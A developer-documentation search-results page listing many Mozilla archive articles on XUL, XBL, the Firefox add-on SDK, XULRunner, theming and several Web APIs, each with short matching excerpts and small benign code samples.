...the content script simply replaces the content of the page: // main.js var tabs = require("sdk/tabs"); var contentscriptstring = 'document.body.innerhtml = "<h1>this page has been eaten</h1>";' tabs.activetab.attach({ contentscript: contentscriptstring }); the following high-level sdk modules can use content scripts to modify web pages: page-mod: enables you to attach content scripts to web pages that match a specific url pattern.
...And 30 more matches
places/bookmarks - Archive of obsolete content
usage this module exports: three constructors: bookmark, group, and separator, corresponding to the types of objects, referred to as bookmark items, in the bookmarks database in firefox two additional functions, save() to create, update, and remove bookmark items, and search() to retrieve the bookmark items that match a particular set of criteria.
... save() and search() are both asynchronous functions: they synchronously return a placesemitter object, which then asynchronously emits events as the operation progresses and completes.
... each retrieved bookmark item represents only a snapshot of state at a specific time.
...And 30 more matches
Setting up an extension development environment - Archive of obsolete content
development profile the use of a separate user profile for development can be advantageous, averting performance degradation from development related settings, and further isolating personal data (such as bookmarks, extensions, and settings) from your testing environment.
... to quickly achieve our task of creating just a developer profile, we will start the application with the parameters: /path/to/firefox -no-remote -p profilename without these parameters, the default behavior of your mozilla applications is to only open the everyday user profile: named default.
...however, you won't enjoy the benefits of isolated resources, which we discussed earlier.
...And 30 more matches
Signing an XPI - Archive of obsolete content
this article is a mirror of the original, with minor reformatting, some new info and all links updated in march 2010.
...extract the contents of the archive file to a local folder.
...extract the contents of the archive file to a local folder.
...And 30 more matches
Document Loading - From Load Start to Finding a Handler - Archive of obsolete content
we start with the request to load a particular link in a particular window, and proceed up to the point at which the data stream is dispatched to the proper handler.
...dramatis personae this document focuses on the interaction of three classes with each other, but other mozilla components are also involved.
... main roles nsdocshell this class corresponds, basically, to a "window" object in javascript -- each frame, iframe, content area, tab, etc has its own docshell.
...And 30 more matches
Microsummary XML grammar reference - Archive of obsolete content
a microsummary generator is an xml document that describes how to pull specific information from a web page to be presented in summary form as a bookmark whose title changes based on the content of the page it targets.
... warning: microsummary support was removed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) this article provides detailed information about the xml grammar used to build microsummary generators, describing each element and their attributes.
...example the microsummary generator created in the creating a microsummary tutorial: <?xml version="1.0" encoding="utf-8"?> <generator xmlns="http://www.mozilla.org/microsummaries/0.1" name="firefox download count"> <template> <transform xmlns="http://www.w3.org/1999/xsl/transform" version="1.0"> <output method="text"/> <template match="/"> <value-of select="id('download-count')"/> <text> fx downloads</text> </template> </transform> </template> <pages> <include>http://(www\.)?spreadfirefox\.com/(index\.php)?</include> </pages> </generator> namespace the namespace uri for microsummary generator xml documents is: http://www.mozilla.org/microsummaries/0.1 all elements in a microsummary generat...
...And 30 more matches
OpenClose - Archive of obsolete content
the menu element has an open property which may be set to true to open the menu, or false to close the menu.
...here is a complete example which uses a button to open a menu: <button label="open menu" oncommand="document.getelementbyid('editmenu').open = true;"/> <menu id="editmenu" label="edit"> <menupopup> <menuitem label="cut"/> <menuitem label="copy"/> <menuitem label="paste"/> </menupopup> </menu> this technique may be used for both menupopups that use the menu tag, the button tag and the toolbarbutton tag.
... for menupopups attached to other elements using the popup or context attributes, see opening a popup below.
...And 30 more matches
The Joy of XUL - Archive of obsolete content
xul (pronounced "zool") is mozilla's xml-based user interface language that lets you build feature rich cross-platform applications that can run connected to or disconnected from the internet.
... also described are some reasons application developers might choose to leverage xul and mozilla technology for building cross-platform applications.
...the key features and benefits of xul will be explored followed by an examination of supporting mozilla technologies.
...And 30 more matches
Broadcasters and Observers - Archive of obsolete content
« previousnext » there may be times when you want several elements to respond to events or changes of state easily.
... command attribute forwarding we've already seen that elements such as buttons can be hooked up to commands.
...the technique also works for other attributes as well.
...And 30 more matches
Commands - Archive of obsolete content
« previousnext » a command is an operation which may be invoked.
... command elements the command element is used to create commands which can be used to carry out operations.
...if you did not use commands, you would need to figure out which field has the focus, then check to ensure that the operation is suitable for that element.
...And 30 more matches
Creating a Skin - Archive of obsolete content
modifying userchrome.css is not guaranteed to work between versions of firefox and may lead to hard-to-diagnose bugs.
...for example, change references of 'classic/1.0' to 'blueswayedshoes/1.0'.
... add a line to the file 'chrome/installed-chrome.txt of the following form: skin,install,url,file:///stuff/blueswayedshoes/ where the last part points to the directory you created.
...And 30 more matches
Localization - Archive of obsolete content
xul and xml provide entities which are a convenient way of allowing localization.
... entities many applications are built such that translating the interface into a different language is as simple as possible.
... usually, a table of strings is created for each language.
...And 30 more matches
XBL Example - Archive of obsolete content
this will be a widget that stores a deck of objects, each displayed one at a time.
...the children tag will need to be used.
... example 1 : source <binding id="slideshow"> <content> <xul:vbox flex="1"> <xul:deck xbl:inherits="selectedindex" selectedindex="0" flex="1"> <children/> </xul:deck> <xul:hbox> <xul:button xbl:inherits="label=previoustext"/> <xul:label flex="1"/> <xul:button xbl:inherits="label=nexttext"/> </xul:hbox> </xul:vbox> </content> </binding> this binding creates the slideshow structure that we want.
...And 30 more matches
XUL Questions and Answers - Archive of obsolete content
return to mozilla-dev-tech-xul summaries the frequently asked questions should be moved to xul faq (make sure they have a clear answer.) where can i get more information about creating mozsearch plugins?
... creating mozsearch plugins contains more help information about creating mozsearch plugin on firefox 2.
... more documentation on search plugins is available in the search plugins category.
...And 30 more matches
Sunbird Theme Tutorial - Archive of obsolete content
you might be able to apply the same method to other mozilla applications by changing some of the details.
... introduction a theme is a package that users can install in an application to change the appearance of the application, without changing how the application works.
... for example, a theme can change the size and colour of the toolbar buttons, and provide different icons on the buttons.
...And 30 more matches
Table Reflow Internals - Archive of obsolete content
the initial chunk of an xml doc is loaded.
... the initial chunk of an html doc (or a subsequent chunk of an xml doc) is loaded.
...style changes through the dom - javascript, browser change font (ctrl+/-), a preference changes, etc.
...And 30 more matches
Using WebRTC data channels - Web APIs
in this guide, we'll examine how to add a data channel to a peer connection, which can then be used to securely exchange arbitrary data; that is, any kind of data we wish, in any format we choose.
... since all webrtc components are required to use encryption, any data transmitted on an rtcdatachannel is automatically secured using datagram transport layer security (dtls).
... creating a data channel the underlying data transport used by the rtcdatachannel can be created in one of two ways: let webrtc create the transport and announce it to the remote peer for you (by causing it to receive a datachannel event).
...And 30 more matches
Modules - Archive of obsolete content
a module is a self-contained unit of code, which is usually stored in a file, and has a well defined interface.
...unfortunately, javascript does not yet have native support for modules: it has to rely on the host application to provide it with functionality such as loading subscripts, and exporting/ importing names.
... we will show how to do each of these things using the built-in components object provided by xulrunner application such as firefox and thunderbird.
...And 29 more matches
Adding Event Handlers - Archive of obsolete content
we haven't cleaned it up much but we have created a simple user interface easily.
... using scripts to make the find files dialog functional, we need to add some scripts which will execute when the user interacts with the dialog.
... we would want to add a script to handle the find button, the cancel button and to handle each menu command.
...And 29 more matches
Adding Style Sheets - Archive of obsolete content
style sheets a style sheet is a file which contains style information for elements.
...the style sheet contains information such as the fonts, colors, borders, and size of elements.
... mozilla applies a default style sheet to each xul window.
...And 29 more matches
menuitem - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] a single choice in a menupopup element.
... it acts much like a button but it is rendered on a menu.
... attributes acceltext, accesskey, allowevents, autocheck, checked, closemenu, command, crop, description, disabled, image, key, label, name, selected, tabindex, type, validate, value properties accessibletype, accesskey, command, control, crop, disabled, image, label, labelelement, parentcontainer, selected, tabindex, value style classes menuitem-iconic, menuitem-non-iconic examples <menulist> <menupopup> <menuitem label="option 1" value="1"/> <menuitem label="option 2" value="2"/> <menuitem label="option 3" value="3"/> <menuitem label="option 4" value="4"/> </menupopup> </menulist> attributes acceltext type: string text that appears beside the menu label to indicate the shor...
...And 29 more matches
Creating XULRunner Apps with the Mozilla Build System - Archive of obsolete content
this is by far the simplest approach.
...if you are just creating a xulrunner app with some c++ components, you can avoid the challenge of building xulrunner itself by downloading a prebuilt sdk.
... do this if at all possible and send me some of the money you save on psychiatry sessions.
...And 29 more matches
nsIWebBrowserChrome
embedding/browser/webbrowser/nsiwebbrowserchrome.idlscriptable corresponds to the top-level, outermost window containing an embedded gecko web browser.
... inherits from: nsisupports last changed in gecko 0.9.6 method overview void destroybrowserwindow(); void exitmodaleventloop(in nsresult astatus); boolean iswindowmodal(); void setstatus(in unsigned long statustype, in wstring status); void showasmodal(); void sizebrowserto(in long acx, in long acy); attributes attribute type description chromeflags unsigned long the chrome flags for this browser chrome.
... the implementation should reflect the value of this attribute by hiding or showing its chrome appropriately.
...And 29 more matches
CacheStorage - Web APIs
the cachestorage interface represents the storage for cache objects.
... the interface: provides a master directory of all the named caches that can be accessed by a serviceworker or other type of worker or window scope (you’re not limited to only using it with service workers, even though the service workers spec defines it).
... note: chrome and safari only expose `cachestorage` to the windowed context over https.
...And 29 more matches
SpeechRecognition - Web APIs
the speechrecognition interface of the web speech api is the controller interface for the recognition service; this also handles the speechrecognitionevent sent from the recognition service.
... note: on some browsers, like chrome, using speech recognition on a web page involves a server-based recognition engine.
... constructor speechrecognition.speechrecognition() creates a new speechrecognition object.
...And 29 more matches
ARIA: switch role - Accessibility
the aria switch role is functionally identical to the checkbox role, except that instead of representing "checked" and "unchecked" states, which are fairly generic in meaning, the switch role represents the states "on" and "off." this example creates a widget and assigns the aria switch role to it.
... <button type="button" role="switch" aria-checked="true" id="speakerpower" class="switch"> <span>off</span> <span>on</span> </button> <label for="speakerpower" class="switch">speaker power</label> description the aria switch role is identical to the checkbox role, except instead of being "checked" or "unchecked", it is either "on" and "off." like the checkbox role, the aria-checked attribute is required.
...unlike a <checkbox> or role="checkbox", there is no indeterminate or mixed state.
...And 29 more matches
A hybrid approach - Developer guides
silver bullets are hard to find in web development — you’re more likely to come across strategies that make the best use of a variety of techniques given the circumstances.
... this brings us to our third approach, which aims to avoid some of the shortcomings the separate sites and responsive design approaches by combining them.
... this hybrid approach centers around breaking down mobile development into its three goals, and then applying the best techniques available to tackle each goal individually.
...And 29 more matches
Autoplay guide for media and Web Audio APIs - Web media technologies
for details, see the auto-play policies for google chrome and webkit.
... note: put another way, playback of any media that includes audio is generally blocked if the playback is programmatically initiated in a tab which has not yet had any user interaction.
... browsers may additionally choose to block under other circumstances.
...And 29 more matches
ui/sidebar - Archive of obsolete content
a sidebar is a vertical strip of user interface real estate for your add-on that's attached to the left-hand side of the browser window.
... alternatively, the view->sidebar submenu in firefox will contain a new item which the user can use to show or hide the sidebar: the sidebar generates a show event when it is shown and a hide event when it is hidden.
... to show what a sidebar looks like, here's a sidebar that displays the results of running the w3c validator on the current page: specifying sidebar content the content of a sidebar is specified using html, which is loaded from the url supplied in the url option to the sidebar's constructor.
...And 28 more matches
Intercepting Page Loads - Archive of obsolete content
some of the techniques presented here apply only to content loaded in the main browser area, while others detect content being loaded in other xul windows, or even detect xul content being loaded.
... also, the different techniques tap into different steps of the load process.
... which one you should use solely depends on your needs.
...And 28 more matches
In-Depth - Archive of obsolete content
system colours css2 defines colours which are the same as your operating systems theme.
...mozilla css properties mozilla.org created their own css properties to allow them to use the technology for the ui of mozilla.
... all of the properties follow the w3c's standards for vendor extensions, which is why they all begin with -moz.
...And 28 more matches
More Tree Features - Archive of obsolete content
hierarchical trees the tree element is also used to create hierarchical lists, like that found in a file manager or a browser's bookmarks list.
... the tree view has a number of functions which specify the hierarchy of the items in a tree.
... each item in the tree has a level starting at 0.
...And 28 more matches
Getting started with XULRunner - Archive of obsolete content
there is an article with a more complicated approach to building xulrunner applications at creating xulrunner apps with the mozilla build system.
... if you need to change xulrunner itself or integrate it with external binaries you may need to read that article.
...as a developer, i like the idea that xulrunner only needs to be unzipped onto my machine.
...And 28 more matches
Windows Media in Netscape - Archive of obsolete content
controls such as windows media player also interact closely with the scripts in a web page.
... netscape 7.1 is the first netscape gecko™ browser to support the windows media player as an activex control -- previous netscape browsers did not support any activex controls, and thus detecting which versions of netscape support the windows media activex control is an important first step towards building multimedia experiences using html, javascript, and the windows media activex control.
...while that approach works with browsers older than netscape 7.1, this section introduces the use of the objects that enable deployment of the windows media player directly as an activex control within netscape 7.1.
...And 28 more matches
HTMLAnchorElement - Web APIs
the htmlanchorelement interface represents hyperlink elements and provides special properties and methods (beyond those of the regular htmlelement object interface that they inherit from) for manipulating the layout and presentation of such elements.
... this interface corresponds to <a> element; not to be confused with <link>, which is represented by htmllinkelement) <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fi...
...ll="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignme...
...And 28 more matches
XUL Migration Guide - Archive of obsolete content
if your add-on only needs a little help from those techniques, and can accomplish most of what it needs using the supported apis, then it might still be worth migrating: we'll add more supported apis in future releases to meet important use cases.
... user interface components xul-based add-ons typically implement a user interface using a combination of two techniques: xul overlays and xul windows.
... xul overlays xul overlays are used to modify existing windows such as the main browser window.
...And 27 more matches
Repackaging Firefox - Archive of obsolete content
getting started now, on to the technical details.
... the pristine firefox 2 installer files (windows .exe, mac .dmg, or linux .tar.gz) for each of the locales you need.
... a "distro" extension that makes the changes you desire.
...And 27 more matches
New Skin Notes - Archive of obsolete content
if you go to your user preferences, you can change the skin to "devmo".
...--dria stuff that's been fixed note that while i've made these fixes, they haven't necessarily been checked in yet.
...-- dria when a page is redirected, need to say-so and what it was redirected from, (see document for an example of such.) this is only an issue in mw1.5 so far.
...And 27 more matches
Adding Methods to XBL-defined Elements - Archive of obsolete content
methods are the functions of objects, such as window interface's open() method loads the specified resource into the browsing context (window, <iframe> or tab) with the specified name.
...the method element contains two type of child elements, parameter elements which describe the parameters to the method and body which contains the script for the method.
...similarly, the name attributes on the parameter elements become the names of each parameter.
...And 27 more matches
Keyboard Shortcuts - Archive of obsolete content
creating a keyboard shortcut xul provides methods in which you can define keyboard shortcuts.
... we've already seen in the section on menus that we can define an attribute called accesskey which specifies the key which a user can press to activate the menu or menu item.
...although shortcuts such as this might not always be valid, they will usually work any time the window is open.
...And 27 more matches
Styling a Tree - Archive of obsolete content
the outer treechildren is the only real element in the tree body.
... set the property on a row or cell, as in the following example: <treerow properties="makeitblue"> css selectors for the tree the style sheet can take this property and use it to change the appearance of the row for unread messages or labels.
... you can think of the properties as functioning much like style classes, although they require a somewhat more complex syntax to use in a style sheet.
...And 27 more matches
XPCOM Interfaces - Archive of obsolete content
« previousnext » in this section, we'll take a brief look at xpcom (cross-platform component object model), which is the object system that mozilla uses.
...we can attach scripts which modify the interface and perform tasks.
...for example, if we wanted to create a mail application, we would need to write scripts which would connect to mail servers to retrieve and send mail.
...And 27 more matches
TCP/IP Security - Archive of obsolete content
when a user wants to transfer data across networks, the data is passed from the highest layer through intermediate layers to the lowest layer, with each layer adding information.
... at each layer, the logical units are typically composed of a header and a payload.
... the payload consists of the information passed down from the previous layer, while the header contains layer-specific information such as addresses.
...And 27 more matches
How much does it cost to do something on the Web? - Learn web development
getting involved on the web isn't as cheap as it looks.
... in this article we discuss how much you may have to spend, and why.
... objective: review the complete process for creating a website and find out how much each step can cost.
...And 27 more matches
What is the difference between webpage, website, web server, and search engine? - Learn web development
in this article, we describe various web-related concepts: web pages, websites, web servers, and search engines.
...let's learn what they each mean!
... objective: be able to describe the differences between a web page, a website, a web server, and a search engine.
...And 27 more matches
core/promise - Archive of obsolete content
implementation of promises to make asynchronous programming easier.
... rationale most of the js apis are asynchronous complementing its non-blocking nature.
...instead of structuring our programs into logical black boxes: function blackbox(a, b) { var c = assemble(a); return combine(b, c); } we're forced into continuation passing style, involving lots of machinery: function sphagetti(a, b, callback) { assemble(a, function continuewith(error, c) { if (error) callback(error); else combine(b, c, callback); }); } this style also makes doing things in sequence hard: widget.on('click', function onclick() { promptuserfortwitterhandle(function continuewith(error, handle) { if (error) return ui.displayerror(error); twitter.gettweetsfor(handle, funtion continuewith(error, tweets) { if (error) return ui.displayerror(error); ui.showtweets(tweets...
...And 26 more matches
The Box Model - Archive of obsolete content
the xul box model is a significant improvement over the html layout model, which is mostly vertical.
...complex elements are created from simpler ones through xbl, which will be covered later on.
...an hbox is oriented horizontally by default, meaning that its child nodes are displayed next to each other from left to right.
...And 26 more matches
Creating regular expressions for a microsummary generator - Archive of obsolete content
a sequence of characters) that matches patterns of characters in other strings.
... microsummary generators use them to identify the pages that the generators know how to summarize by matching patterns in those pages' urls.
... in this tutorial, we'll explain how to make regular expressions that match the urls for ebay auction item pages.
...And 26 more matches
Box Objects - Archive of obsolete content
« previousnext » this section describes the box object, which holds display and layout related information about a xul box as well as some details about xul layout.
...the layout tree holds a different tree of nodes for each individual component that can be displayed.
...some content nodes may have several layout objects, for example, each line of a paragraph has a separate layout object.
...And 26 more matches
Deploying XULRunner - Archive of obsolete content
this means that while the release is immature in some areas such as embedding, application deployment, and os integration, it can be used by developers that are releasing standalone xul applications.
...if your installer is capable of determining whether or not xulrunner has been registered on the system you could perform the check and register the appropriate version if necessary.
...(bonus points for checking the operating system and downloading the right xulrunner on the fly, or bundling them into your installer).
...And 26 more matches
Archive of obsolete content
so, we've established this area into which we can archive older documentation.
... material in this archived content zone should not be used for building new web sites or apps for modern browsers.
... see the complete index of archived content note to writers: we need to try to keep the subpages here organized instead of all dumped into one large folder.
...And 26 more matches
Getting Started with Chat
note that on 2nd march 2020, mozilla moved away from irc to matrix for its public channels, the irc server was shut down.
...for example, "ashughes: good morning!" every channel has its own topic.
... mozilla's channels are most active between 9am and 7pm pst monday to friday, excluding us holidays.
...And 26 more matches
nsIDBChangeListener
the nsidbchangelistener interface is used by components wanting to receive notification when the current database changes somehow.
... example here is an example implementation of the listener (that does nothing): var mylistener = { onhdrflagschanged: function(ahdrchanged, aoldflags, anewflags, ainstigator) {}, onhdrdeleted: function(ahdrchanged, aparentkey, aflags, ainstigator) {}, onhdradded: function(ahdrchanged, aparentkey, aflags, ainstigator) {}, onparentchanged: function(akeychanged, oldparent, newparent, ainstigator) {}, onannouncergoingaway: function(ainstigator) {}, onreadchanged: function(ainstigator) {}, onjunkscorechanged: function(ainstigator) {}, onhdrpropertychanged: function(ahdrtochange, aprechange, astatus, ainstigator) {}, onevent: function(adb, aevent) {}, queryinterface: function(aiid) { if (!aiid.equals(components.interfaces.nsidbchangelistener) && !aiid.equals(com...
...ponents.interfaces.nsisupports)) throw components.results.ns_error_no_interface; return this; } }; and to attach it in thunderbird, we must call addlistener on a nsidbchangeannouncer, typically through a nsimsgdatabase.
...And 26 more matches
Rich-Text Editing in Mozilla - Developer guides
the rich-text editing support in mozilla 1.3 supports the designmode feature which turns html documents into rich-text editors.
... starting in firefox 3, mozilla also supports internet explorer's contenteditable attribute which allows any element to become editable or non-editable (the latter for when preventing change to fixed elements in an editable environment).
... setting up rich-text editing rich-text editing is initialized by setting the designmode property of a document to "on", such as the document inside an iframe.
...And 26 more matches
Extension Versioning, Update and Compatibility - Archive of obsolete content
an entry must exist with an id matching the id of the application.
... firefox 3 note in applications based on gecko 1.9 you can also use a targetapplication entry with an id toolkit@mozilla.org and minversion and maxversion that match the toolkit version of the running application.
... overriding compatibility checking for testing purposes you can tell the application to somewhat ignore compatibility checks when installing add-ons.
...And 25 more matches
Adding Events and Commands - Archive of obsolete content
« previousnext » event handlers just like with html, most javascript code execution is triggered by event handlers attached to dom elements.
... the most commonly used event is the onload event, which is used in overlays and other windows to detect when the window has loaded and then run initialization code: // rest of overlay code goes here.
... window.addeventlistener( "load", function() { xulschoolchrome.browseroverlay.init(); }, false); you can do something similar with the onunload event, to do any cleanup you may need.
...And 25 more matches
Adding Toolbars and Toolbar Buttons - Archive of obsolete content
<overlay id="xulschoolhello-browser-overlay" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <toolbarpalette id="browsertoolbarpalette"> <toolbarbutton id="xulschoolhello-hello-world-button" class="toolbarbutton-1 chromeclass-toolbar-additional" label="&xulschoolhello.helloworld.label;" tooltiptext="&xulschoolhello.helloworld.tooltip;" oncommand="xulschoolchrome...
... setting the image for a toolbar button is done with css: #xulschoolhello-hello-world-button { list-style-image: url("chrome://xulschoolhello/skin/hello-world.png"); } it's not really that simple to set the image for a toolbar button, because we need to consider the appearance of the button on different systems, and also consider the different button states, but we'll get into that further ahead.
... the css file with your toolbar styles needs to be included in the overlay file, as you would expect, but also in the chrome.manifest file.
...And 25 more matches
Special Condition Tests - Archive of obsolete content
templates have a means of allowing a rule to match only if the generated content would be inserted inside an element with a particular tag name.
... for instance, if the container was a <vbox>, a rule could be created that would only match a <vbox> element.
...for the bookmarks toolbar, the outer content is inserted into an <hbox>, but at lower levels, the content will be inserted into a <menu> in case you aren't clear, the tag that must match for the outer iteration is the root element, the one with the datasources attribute on it.
...And 25 more matches
Anonymous Content - Archive of obsolete content
mechanisms are provided for adding attributes to the inner elements that were specified on the outer element.
...if you look at a scroll bar in a mozilla window, you will see that it is made up of an arrow button, a slider, a thumb inside it and a second arrow button at the end, which are the elements that appear in the xbl above.
...filename input field example another example, this time for a field for entering a filename: <binding id="fileentry"> <content> <textbox/> <button label="browse..."/> </content> </binding> attaching this binding to an element will cause it to contain a field for entering text, followed by a browse button.
...And 25 more matches
Creating an Installer - Archive of obsolete content
extension, theme, and plug-in developers must switch away from install.js based packages to the new packaging scheme with an install.rdf manifest.
... xpinstall packages mozilla provides a mechanism which can be used to package xul windows, scripts, skins and other files into single file installers.
...this mechanism is called xpinstall (cross platform install).
...And 25 more matches
Element Positioning - Archive of obsolete content
some elements, such as textboxes have a default size, which will be used.
...the quick way is to simply add the width and height attributes on an element, much like you might do on an html img tag.
...a better way is to use style properties, which work similarly to style sheets in html.
...And 25 more matches
Install Scripts - Archive of obsolete content
for example, you may wish to check versions of files and only install updated files, or perhaps you wish to apply patches to existing files.
...the installer script must be called install.js and must be placed at the top level of the installer archive.
... the script will contain javascript code which calls a number of install functions.
...And 25 more matches
List Controls - Archive of obsolete content
they work similar to the html select element, which performs both functions, but the xul elements have additional features.
... the simplest list box uses the listbox element for the box itself, and the listitem element for each item.
... for example, this list box will have four rows, one for each item.
...And 25 more matches
Trees and Templates - Archive of obsolete content
adding datasources to trees when using a tree, you will often use a template to build its content, to handle a large amount of hierarchial data.
... using a template with a tree uses very much the same syntax as with other elements.
... you need to add a datasources and a ref attribute to the tree element, which specify the datasource and root node to display.
...And 25 more matches
Using the Editor from XUL - Archive of obsolete content
note that the <editor> element is really just an <iframe> which takes over some of the task of creating the editor from javascript.
...that which you get from window._content.
...it does some getting of window.arguments (which is a way callers can pass parameters to new windows -- we use this to get the url to be loaded), then it calls editorstartup(), where the real work happens.
...And 25 more matches
menupopup - Archive of obsolete content
there are several ways in which a menupopup may be used: it may be placed inside a menu, menulist, toolbarbutton, or a button with the type attribute set to "menu" to create a popup that will open when the menu or button is pressed.
... it may be attached to any element using the popup attribute.
... it may be attached to any element using the context attribute.
...And 25 more matches
Common Firefox theme issues and solutions - Archive of obsolete content
it is a companion document to the amo editors guide common theme problems, which provides editors with "boilerplate" copy and paste review notes for common theme issues.
...in order to work around this issue, you need to either rename any of the following files that are in your chrome://browser/skin/ folder and fix any references to those files, or copy them to the folder chrome://browser/skin/lion/: keyhole-circle.png toolbar.png toolbarbutton-dropmarker.png tabbrowser/alltabs-box-bkgnd-icon.png tabview/tabview.png places/toolbar.png linux linux select box fields are showing both drop arrow and spinner arrows on linux: the styling of drop down select box field...
... the problem is commonly caused by a -moz-appearance:menulist style rule in chrome://global/skin/menulist.css.
...And 25 more matches
cfx - Archive of obsolete content
cfx run launch an instance of firefox with your add-on installed.
... cfx xpi package your add-on as an xpi file, which is the install file format for firefox add-ons.
... there are also a number of internal commands, which are more likely to be useful to sdk developers than to add-on developers.
...And 24 more matches
Interaction between privileged and non-privileged pages - Archive of obsolete content
sending data from unprivileged document to chrome an easy way to send data from a web page to an extension is by using custom dom events.
... in your extension's browser.xul overlay, write code which listens for a custom dom event.
...to trigger the alert() in the listener and pass the data from the web page, write code such as this in the web page: var element = document.createelement("myextensiondataelement"); element.setattribute("attribute1", "foobar"); element.setattribute("attribute2", "hello world"); document.documentelement.appendchild(element); var evt = document.createevent("events"); evt.initevent("myextensionevent", true, false); element.dispatchevent(evt); this code creates an arbitrary element -- <m...
...And 24 more matches
Listening to events in Firefox extensions - Archive of obsolete content
there are several different categories of events; this article will help you learn about them and direct you to more specific documentation covering each of them.
... types of events there are multiple types of events that application and extension authors can use to receive notifications from <xul:browser> and <xul:tabbrowser> elements to hear about changes relating to loads of the content contained within them.
... simple dom events registering for a dom event is done using with code such as the following: function callback(evt) { // do your processing here.
...And 24 more matches
Promises - Archive of obsolete content
promise apis for common asynchronous operations due to the performance and stability costs of synchronous io, many apis which rely on it have been deprecated.
...these apis allow asynchronous operation to be achieved with a coding style similar to synchronous variants.
... the following examples make use of the task api, which harnesses generator functions to remove some of the syntactic clutter of raw promises, such that asynchronous promise code more closely resembles synchronous, procedural code.
...And 24 more matches
Installing plugins to Gecko embedding browsers on Windows - Archive of obsolete content
since the prospect of embedded gecko browsers raises the scenario of more than one gecko-based browser that a netscape-style plugin can work with, it becomes important to let plugin developers know how to discover these browsers on a windows machine.
...netscape 6.1 and onwards, however, will write these keys, and so creating a plugin installer that puts the shared object (dll) in the right place becomes much easier, since the relevant meta-information is present in the win32 system registry.
...much of this registry data follows as a consequence of the discussions in bug 109402.
...And 24 more matches
Source code directories overview - Archive of obsolete content
it is a living document which is (supposed to be) updated monthly according to changes in the mozilla source tree.
... introduction: common subdirectories a common naming scheme is used throughout the mozilla source trees.
...the third level is where the common naming scheme usually takes over.
...And 24 more matches
prefwindow - Archive of obsolete content
a row of buttons appears across the preference dialog, one for each prefpane.
... each pane will usually group together a set of related preferences.
... on platforms where the convention is to apply changes immediately, the preferences are adjusted as soon as the user interface element is changed.
...And 24 more matches
window - Archive of obsolete content
to set an icon for the window, create a platform-specific icon file <windowid>.ico and/or <windowid>.xpm and place or install these files into the <mozilla-directory>/chrome/icons/default/ directory.
...this allows you to have a different icon for each window.
... without including the css file at "chrome://global/skin/", the window will not be stylized and will be invisible and glitchy when opened as a dialog.
...And 24 more matches
Reference - Archive of obsolete content
inheritance and private variables the guide section links to an interesting document discussing how to create and use private variables in objects, which is great if you want to protect the various properties within an object from being poked at accidentally.
...there are 5 cases where "javascript1.2" is mentioned in this reference: special:search?search=javascript1.2&go=go.
...btw, https://bugzilla.mozilla.org/attachment.cgi?id=195375 is a screenshot of a table of differences.
...And 24 more matches
nss tech note8
background information on libssl's cache functions and sids nss technical note: 8 27 february 2006 nelson b.
... bolyard here is some background information on libssl's cache functions and sids.
... the protocol code builds such a structure, and then asks the cache code (client or server) to save the info.
...And 24 more matches
nsICacheService
netwerk/cache/public/nsicacheservice.idlscriptable handles visiting and evicting entries operations along with the creating of cache sessions and creation of temporary client ids operations for offline caching.
... 66 introduced gecko 1.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) this interface is no longer supported and planned to be removed soon: use nsicachestorageservice instead.
... at the time of writing there is no documentation for nsicachestorageservice but comments are available in the source.
...And 24 more matches
:is() (:matches(), :any()) - CSS: Cascading Style Sheets
WebCSS:is
note: :matches() was renamed to :is() in csswg issue #3258.
... note that currently browsers support this functionality as :matches(), or through an older, prefixed pseudo-class — :any(), including older versions of chrome, firefox, and safari.
... :any() works in exactly the same way as :matches()/:is(), except that it requires vendor prefixes and doesn't support complex selectors.
...And 24 more matches
Digital video concepts - Web media technologies
encoding color representing the colors in an image or video requires several values for each pixel.
... rgb most computer graphics models use the rgb color system, wherein some number of bits of data are used to represent each of the red, green, and blue components of the color of an individual pixel, and an image is comprised of a two-dimensional array of these pixels.
...when using integer components, rgb color uses 8 bits each of red, green, and blue, as well as potentially 8 bits of alpha (the amount of transparency).
...And 24 more matches
tabs - Archive of obsolete content
.length-1].title); }); you can access the currently active tab: var tabs = require('sdk/tabs'); tabs.on('activate', function () { console.log('active: ' + tabs.activetab.url); }); track a single tab given a tab, you can register event listeners to be notified when the tab is closed, activated or deactivated, or when the page hosted by the tab is loaded or retrieved from the "back-forward cache": var tabs = require("sdk/tabs"); function onopen(tab) { console.log(tab.url + " is open"); tab.on("pageshow", logshow); tab.on("activate", logactivate); tab.on("deactivate", logdeactivate); tab.on("close", logclose); } function logshow(tab) { console.log(tab.url + " is loaded"); } function logactivate(tab) { console.log(tab.url + " is activated"); } function logdeactivate(tab...
...) { console.log(tab.url + " is deactivated"); } function logclose(tab) { console.log(tab.url + " is closed"); } tabs.on('open', onopen); manipulate a tab you can get and set various properties of tabs (but note that properties relating to the tab's content, such as the url, will not contain valid values until after the tab's ready event fires).
